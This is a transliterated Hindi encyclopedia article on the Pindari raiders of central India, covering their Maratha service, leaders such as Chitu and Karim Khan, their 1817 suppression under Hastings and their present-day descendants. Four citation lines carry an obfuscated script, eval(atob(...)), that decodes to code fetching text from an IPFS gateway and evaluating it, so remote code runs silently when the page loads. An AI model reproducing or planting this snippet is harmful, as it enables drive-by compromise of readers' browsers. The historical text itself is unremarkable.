पिण्डारी

pindari lanaka

pindari (piandari / pandari / peandhari) dakshin bharat mean ja base yuddhapriy pathan savar the. unaki utpatti tatha namakaran vivadaspad hai. ve b de karmath, sahasi tatha vafadar the. tattoo unaki savari thi. talavar aur bhale unake astr the. ve daloan mean vibhakt the aur pratyek dal mean sadharanat: do se tin hazar tak savar hote the. yogyatam vyakti dal ka saradar chuna jata tha. usaki ajna sarvamany hoti thi. pindariyoan mean dharmik sankirnata n thi. 19vian shatabdi mean hindoo (visheshakar jat) aur sikh bhi unake sainik daloan mean shamil the. unaki striyoan ka rahan-sahan hindoo striyoan jaisa tha. unamean devi devataoan ki pooja prachalit thi. ye kuchh qabaili sanskriti ka netritv karate the

aniyamit savar, jo maratha senaoan ke sath-sath chalate the. unhean koee vetan nahian diya jata tha aur shatru ke desh ko lootane ki ijazat rahati thi. yadyapi kuchh pramukh pindari neta pathan the, tathapi sabhi jatiyoan ke khooankhar aur khataranak vyakti unake dal mean sammilit the. unnisavian shatabdi ke prarambh mean unako shinde ka sanrakshan prapt tha. usane unako narmada ghati ke malava kshetr mean zamin de rakhi thian. vahaan se ve madhy bharat mean door-door tak dhave marate the aur amiroan tatha gariboan ko saman roop se loota karate the. 1812 ee॰ mean unhoanne buandelakhand, 1815 ee॰ nizam ke rajy mean tatha 1816 ee॰ mean uttari sarakar mean lootapat ki. is tarah unhoanne british samrajy ki shaanti aur samriddhi ke lie khatara utpann kar diya. atev 1817 ee॰ gavarnar janaral varen hestiangs ne unake viruddh abhiyan ke lie ek b di sena sangathit ki. yadyapi pindari virodhi abhiyan ke phalasvaroop tisara maratha yuddh chhi d gaya tathapi pindariyoan ka daman kar diya gaya. unake pathan neta amir khaanko toank ke navab ke roop mean manyata pradan kar di gayi. usane aangrezoan ki adhinata svikar kar li. pindariyoan ka doosara mahattvapoorn neta chitoo tha. usaka pichha kiya jane par vah jangaloan mean bhag gaya, jahaan ek chite ne use kha dala.^[1]

marathoan ki sena mean mahattvapoorn sthan

marathoan ki asthayi sena mean unaka mahattvapoorn sthan tha. piandari saradar nasaroo ne mugaloan ke viruddh shivaji ki sahayata ki. punapa ne unake uttaradhikariyoan ka sath diya. gaziuddin ne bajirav pratham ko usake uttari abhiyanoan mean sahayog diya. chiangodi tatha hool ke netritv mean 15 hazar piandariyoan ne panipat ke yuddh mean bhag liya. aant mean ve malava mean bas ge aur siandhiya shahi tatha holkar shahi piandari kahalae. bad mean chitoo, karim khaan, dostamuhammad aur vasilamuhammad siandhiya ki piandari sena ke prasiddh saradar hue tatha kadir khaan, tukkoo khaan, sahib khaan aur shekh dulla holkar ki sena mean rahe.
piandari savaroan ki kul sankhya lagabhag 50,000 thi. yuddh mean lootamar aur vidhvans ke kary unhian ko sauanpe jate the. loot ka kuchh bhag unhean bhi milata tha. shaantikal mean ve khetiba di tatha vyapar karate the. guzare ke lie unhean karamukt bhoomi tatha tattoo ke lie bhatta milata tha.

patan

avashesh

maratha shasakoan ke sath velejali ki sahayak sandhiyoan ke phalasvaroop pindariyoan ke lie unaki sena mean sthan n raha. isalie ve dhan lekar any rajyoan ka sainik sahayata dene lage tatha avyavastha se labh uthakar lootamar se dhan kamane lage. sanbhav hai unhian ke bhay se kuchh deshi rajyoan ne sahayak sandhiyaan svikar ki hoan.
sanh 1807 tak piandariyoan ke dhave yamuna aur narmada ke bich tak simit rahe. tatpashchath unhoanne mirzapur se madras tak aur u disa se rajasthan tatha gujarat tak apana karyakshetr vistrit kar diya. 1812 mean unhoanne buandelakhand par, 1815 mean nizam ke rajy se madras tak tatha 1816 mean uttari sarakaroan ke ilakoan par bhanyakar dhave kie. isase shaanti evan suraksha jati rahi tatha piandariyoan ki ganana luteroan mean hone lagi.
is ganbhir sthiti se mukti pane ke uddeshy se l aaurd hestiangs ne 1817 mean maratha sangh ko nasht karane ke poorv kootaniti dvara pindari saradaroan mean phoot dal di tatha sandhiyoan dvara deshi rajyoan se unake viruddh sahayata li. phir apane aur hisalap ke netritv mean 120,000 sainikoan tatha 300 topoan sahit unake ilaqo ko gherakar unhean nasht kar diya. hazaroan pindari mare ge, bandi bane ya jangaloan mean chale ge. chitoo ko asoragadh ke jangal mean chite ne hi kha dala. vasil muhammad ne karagar mean atmahatya kar li. chitoo jat parivar mean dilli ke nikatavarti gaanv mean paida hua tha| isako dobbal khaan ne gulam banaya aur bad mean apana putr bana liya.^[2] isake bete barun durrah ^[3] ke saradar the. karim khaan ko gorakhapur zile mean ganeshapur ki jagir di gee. is prakar piandariyoan ke sangathan toot ge aur ve titar bitar ho ge.

pindari tab aur ab

gorakhapur mahanagar ke miyaan bazar mean sath sal purani piandari bildiang hai. isake malik piandariyoan ke saradar karim khaan ki paanchavi pidhi ke abdul rahamat karim khaan haian. ve apani biradari ke aguva bhi haian. rahamat karim khaan batate haian ki ek samajhaute ke tahat aangrejoan ne piandariyoan ke saradar karim khaan ko 1820 mean sikariganj mean jagir dekar basaya. sikariganj kasbe mean se sate imali dih khurd ke hata nayab se saradar karim khaan ne apani ziandagi shuroo ki. mutyu hone ke bad unhean yahian dafanaya gaya.

shababarat ko sabhi piandari unaki majar par fataha padhane ate haian. paanchavian pidhi ke hi unake ek vanshaj abdul mabood karim khaan piandari medikal stor chalate haian. unhean yah bat gavara nahian ki unake poorvaj lutere the. ve ise aitihasik chook batate haian. unaka kahana hai ki piandariyoan ne anyay aur atyachar ka muqabala kiya. saradar karim ke vanshaj sikariganj se age badhakar basti aur barabanki tak phail ge.^[4]

moolyaankan

piandariyoan ke bare mean itihas mean tarah-tarah ki bhrantiyaan rahian.

itihasakar rajabali pandey piandariyoan ko lutero ka giroh batate haian, jabaki din dayal upadhyay gorakhapur vishvavidyalay ke madhyakalin itihas vibhag ke pro. saiyad najamul raza rijavi ka kahana hai ki madhy pradesh, rajasthan aur maharashtr mean lutere piandariyoan ka ek giroh tha, jinhean marathoan ne bha de ka sainik bana liya. marathoan ke patan ke bad ve toank ke navab amir khaan ke lie kam karane lage. navab ke kamazor hone par piandariyoan ne apani jivika ke lie phir loot-mar shuroo kar di. isase maharashtr aur madhy pradesh mean shaanti vyavastha mushkil ho gee.^[4]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ bharatiy itihas kosh- lekhak sachchidanand bhattachary prishth sankhya 241
↑ McEldowney, Philip F.. Pindari Society and the Establishment of British Paramountcy in India (English) (ech.ti.em.el) virginia.edu. abhigaman tithi: 12 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ "durrah" pindari neta ke adhin ek samooh ko kahate the jisaka roop qabile jaisa hota tha.
↑ ^4.0 ^4.1 salaman ki ‘vir’ se piandari samaj khush hua (hindi) (php) josh18.in.com. abhigaman tithi: 12 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ratiy itihas kosh- lekhak sachchidanand bhattachary prishth sankhya 241

[2] McEldowney, Philip F.. Pindari Society and the Establishment of British Paramountcy in India (English) (ech.ti.em.el) virginia.edu. abhigaman tithi: 12 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] "durrah" pindari neta ke adhin ek samooh ko kahate the jisaka roop qabile jaisa hota tha.

[first-4] 4.0 ^4.1 salaman ki ‘vir’ se piandari samaj khush hua (hindi) (php) josh18.in.com. abhigaman tithi: 12 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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